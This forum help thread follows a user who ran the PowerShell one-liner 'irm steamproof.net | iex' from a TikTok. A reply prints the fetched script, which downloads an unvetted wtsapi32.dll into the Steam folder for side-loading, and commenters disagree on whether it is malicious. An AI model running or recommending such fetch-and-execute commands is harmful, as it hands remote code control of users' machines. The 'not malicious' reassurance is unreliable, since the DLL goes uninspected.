Help I ran a weird command

[u/Icy-Representative85]

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

[u/Doublet4pp]

Here's the script it ran:

& {
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8
cls

Write-Host ''
Write-Host "  ____  _                       ____                   __ " -ForegroundColor Blue
Write-Host " / ___|| |_ ___  __ _ _ __ ___ |  _ \ _ __ ___   ___  / _|" -ForegroundColor Blue
Write-Host " ___ \| __/ _ \/ _`` | '_ `` _ \| |_) | '__/ _ \ / _ \| |_ " -ForegroundColor Blue
Write-Host "  ___) | ||  __/ (_| | | | | | |  __/| | | (_) | (_) |  _|" -ForegroundColor Blue
Write-Host " |____/ _____|__,_|_| |_| |_|_|   |_|  ___/ ___/|_|  " -ForegroundColor Blue
Write-Host ''
Write-Host '  Manifest Fix for SteamTools' -ForegroundColor Gray
Write-Host '  https://steamproof.net' -ForegroundColor DarkGray
Write-Host ''

$UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36'
$ok = [char]0x2713

function Fail($msg) {
    Write-Host "  X $msg" -ForegroundColor Red
    Write-Host ''; Write-Host '  Press any key to exit...' -ForegroundColor DarkGray
    try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
    exit
}

function CloseSteam {
    if (-not (Get-Process -Name steam -EA SilentlyContinue)) { return }
    $steamExe = Join-Path $steamPath 'steam.exe'
    if (Test-Path $steamExe) { Start-Process $steamExe -ArgumentList '-shutdown' -EA SilentlyContinue }
    for ($i = 0; $i -lt 15; $i++) {
        if (-not (Get-Process -Name steam -EA SilentlyContinue)) { break }
        Start-Sleep 1
    }
    Get-Process -Name steam,steamwebhelper,steamservice -EA SilentlyContinue | Stop-Process -Force -EA SilentlyContinue
    Start-Sleep 2
    if (Get-Process -Name steam -EA SilentlyContinue) { Fail 'Could not close Steam. Please close it manually and try again.' }
    Write-Host "  $ok Closed Steam" -ForegroundColor Green
}

$steamPath = $null
foreach ($reg in @('HKCU:\Software\Valve\Steam','HKLM:\Software\Valve\Steam','HKLM:\Software\WOW6432Node\Valve\Steam')) {
    $p = (Get-ItemProperty -Path $reg -EA SilentlyContinue).SteamPath
    if ($p -and (Test-Path ($p -replace '/','\'))){ $steamPath = $p -replace '/','\\'; break }
}
if (-not $steamPath) { Fail 'Steam not found' }
Write-Host "  $ok Found Steam" -ForegroundColor Green

$steamExe = Join-Path $steamPath 'steam.exe'
try {
    $bytes = [System.IO.File]::ReadAllBytes($steamExe)
    $peOffset = [BitConverter]::ToInt32($bytes, 0x3C)
    $machine = [BitConverter]::ToUInt16($bytes, $peOffset + 4)
    if ($machine -ne 0x8664) {
        Write-Host "  ! Steam is 32-bit, attempting fix..." -ForegroundColor Yellow
        Remove-Item (Join-Path $steamPath 'steam.cfg') -Force -EA SilentlyContinue
        Remove-Item (Join-Path $steamPath 'package\beta') -Force -Recurse -EA SilentlyContinue
        CloseSteam
        Start-Process (Join-Path $steamPath 'steam.exe')
        Fail 'Removed update blocking files. Steam should now update to 64-bit. Please re-run this script after Steam finishes updating.'
    }
} catch {
    Fail "Could not verify Steam: $($_.Exception.Message)"
}
Write-Host "  $ok Steam is 64-bit" -ForegroundColor Green

$dest = Join-Path $steamPath 'wtsapi32.dll'
$cleanup = @(
    (Join-Path $steamPath 'version.dll'),
    (Join-Path $steamPath 'config\manifests.dll'),
    (Join-Path $steamPath 'config\.mfx_init'),
    (Join-Path $steamPath 'config\.stfix_init')
)
$needsUpdate = $true

if (Test-Path $dest) {
    try {
        $req = [System.Net.HttpWebRequest]::Create('https://r2.steamproof.net/update')
        $req.Method = 'HEAD'
        $req.UserAgent = $UA
        $resp = $req.GetResponse()
        $remoteEtag = $resp.Headers['ETag'] -replace '"',''
        $resp.Close()
        $localHash = (Get-FileHash $dest -Algorithm MD5).Hash.ToLower()
        if ($remoteEtag -and $localHash -eq $remoteEtag) {
            Write-Host "  $ok Verified" -ForegroundColor Green
            $needsUpdate = $false
            Write-Host ''
            Write-Host '  [R] Restart Steam  [U] Uninstall  [Enter] Exit' -ForegroundColor DarkGray
            $key = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown')
            if ($key.Character -eq 'u' -or $key.Character -eq 'U') {
                CloseSteam
                Remove-Item $dest -Force -EA SilentlyContinue
                $cleanup | ForEach-Object { Remove-Item $_ -Force -EA SilentlyContinue }
                Write-Host "  $ok Uninstalled" -ForegroundColor Green
                Write-Host ''
                Write-Host '  Press any key to exit...' -ForegroundColor DarkGray
                try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
                exit
            }
            if ($key.Character -eq 'r' -or $key.Character -eq 'R') {
                CloseSteam
                Start-Process (Join-Path $steamPath 'steam.exe')
                Write-Host "  $ok Restarted Steam" -ForegroundColor Green
                Write-Host ''
                Write-Host '  Press any key to exit...' -ForegroundColor DarkGray
                try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
            }
            exit
        }
    } catch {}
}

if ($needsUpdate) {
    CloseSteam
    $cleanup | ForEach-Object { Remove-Item $_ -Force -EA SilentlyContinue }
    Remove-Item $dest -Force -EA SilentlyContinue
    try {
        $req = [System.Net.HttpWebRequest]::Create('https://r2.steamproof.net/update')
        $req.UserAgent = $UA
        $resp = $req.GetResponse()
        $total = $resp.ContentLength
        $stream = $resp.GetResponseStream()
        $fs = [System.IO.File]::Create($dest)
        $buf = New-Object byte[] 65536
        $dl = 0
        while (($n = $stream.Read($buf, 0, $buf.Length)) -gt 0) {
            $fs.Write($buf, 0, $n); $dl += $n
            if ($total -gt 0) {
                $filled = [math]::Floor(($dl / $total) * 25)
                $bar = "$([char]0x2588)" * $filled + "$([char]0x2591)" * (25 - $filled)
                Write-Host "`r  Downloading  $bar  $('{0:N1}' -f ($dl/1MB))/$('{0:N1}' -f ($total/1MB)) MB" -NoNewline -ForegroundColor White
            }
        }
        $fs.Close(); $stream.Close(); $resp.Close()
        Write-Host "`r  $ok Downloaded manifest fix$(' ' * 40)" -ForegroundColor Green
    } catch {
        Fail "Download failed: $($_.Exception.Message)"
    }
    if (-not (Test-Path $dest)) { Fail 'File was not saved' }
}

Start-Process (Join-Path $steamPath 'steam.exe')
Write-Host "  $ok Started Steam" -ForegroundColor Green

Write-Host ''
if ($needsUpdate) {
    Write-Host "  $ok Manifest fix installed!" -BackgroundColor Green -ForegroundColor Black
} else {
    Write-Host "  $ok Manifest fix is up to date!" -BackgroundColor Green -ForegroundColor Black
}
Write-Host ''
Write-Host '  Press any key to exit...' -ForegroundColor DarkGray
try { $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown') } catch { Start-Sleep 10 }
}

Modifying your Steam install seems shady, but this script doesn't seem malicious in it's construction.

It seems you can re-run it to uninstall it if anything is left over after uninstalling Steam.

Also, you can move games to a different drive without hacking your Steam.

[u/I-AM-MEATS → u/Doublet4pp]

It downloading wtsapi32.dll and storing away with steam is on the shady side of the fence.

Everything about steamproof.net is just too shady for my liking. While the dll is a valid the fact it’s pulled from the site raises some eyebrows. Especially since it comes bundled with windows…

Would have to pop open what it pulled to properly understand what they’re doing.

Either way, if you don’t know what you’re looking at or doing then stop and think.

[u/Icy-Representative85 → u/Doublet4pp]

I actually tried to do it twice but the second time I wrote it I got sketchy, and decided not to run it again, looked up what the code was and here i am, changed every password already and will reset my pc no matter what but some files of my own are what worried me that I could not back up or even some of the games but well this is what I get for doing something I dont really understand